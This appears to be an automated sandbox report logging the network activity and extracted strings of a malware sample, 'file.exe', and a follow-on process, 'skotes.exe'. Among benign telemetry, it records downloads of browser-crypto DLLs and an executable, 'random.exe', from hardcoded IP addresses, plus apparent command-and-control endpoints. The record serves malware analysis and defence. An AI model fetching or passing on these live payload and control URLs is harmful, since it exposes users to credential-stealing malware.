Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000001.00000002.2700544115.0000000001693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe24U
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeQ4
Source: file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206$e
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllP;
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll6
Source: file.exe, 00000001.00000002.2700544115.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlldll
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlla;
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.2700544115.0000000001693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.2700544115.0000000001693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlly
Source: file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/b
Source: file.exe, 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2700544115.0000000001678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.2697917488.0000000000BC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000001.00000002.2725942988.0000000023E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf
Source: file.exe, 00000001.00000002.2725942988.0000000023E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpr
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000017.00000002.3423306492.000000000083F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3423306492.000000000080A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpB
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpK
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpg
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000017.00000002.3423306492.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_471.4.dr	String found in binary or memory: http://www.broofa.com
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730544318.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_471.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: d6477043-ce8a-4082-bb85-c36ddf8dc7dd.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: dbbd97c7-1c18-4a40-8256-21f5c4d5fed1.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: dbbd97c7-1c18-4a40-8256-21f5c4d5fed1.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000001.00000002.2725942988.0000000023E01000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.2388573549.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, CAAEBKEG.1.dr, Web Data.9.dr, GCGCBAEC.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
